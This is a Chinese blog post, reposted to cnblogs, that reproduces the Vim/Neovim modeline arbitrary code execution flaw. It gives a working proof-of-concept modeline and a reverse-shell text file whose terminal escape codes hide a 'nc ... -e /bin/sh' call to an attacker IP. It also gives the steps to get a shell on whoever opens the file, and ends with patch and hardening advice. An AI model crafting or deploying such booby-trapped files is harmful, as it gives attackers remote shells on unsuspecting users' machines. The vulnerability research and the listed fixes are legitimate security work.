丢给你一个txt并同时获取你shell

丢给你一个txt并同时获取你shell

0x00:回顾

文本编辑器Vim/Neovim被曝任意代码执行漏洞

    听闻很多人知道这个漏洞,但是有一部分人能复现成功,一部分人复现不出来。这里我就我自己的复现经历给大家演示一下。

git clone https://github.com/numirias/security.git

0x01:复现

 1、kali复现

    桌面新建立一个poc.txt放入以下代码,并用vim执行。

  代码:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

效果图:

成功执行

    反弹shell脚本

    新建立一个shell.txt放入以下代码,Ip跟端口改成你自己的,并用vim执行。

    代码:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.124.14 6666 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

执行后报错:

提示:处理模型行时检测到错误!!

处理方式:

 

在50行这里添加一个“set modeline” 然后esc保存退出,然后执行

source ~/.vimrc让它生效。

本地开启监听

kali用vim执行txt

本机得到shell

0x02:防范

  • Vim补丁8.1.1365 

    https://github.com/vim/vim/commit/5357552

  • Neovim补丁(在v0.3.6中发布)

    https://github.com/neovim/neovim/pull/10082

    https://github.com/neovim/neovim/releases/tag/v0.3.6

    除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。

声明:本文章转自 公众号:luomiweixiong 如有侵权联系博主删除

猜你喜欢

转载自www.cnblogs.com/xyongsec/p/11068525.html
今日推荐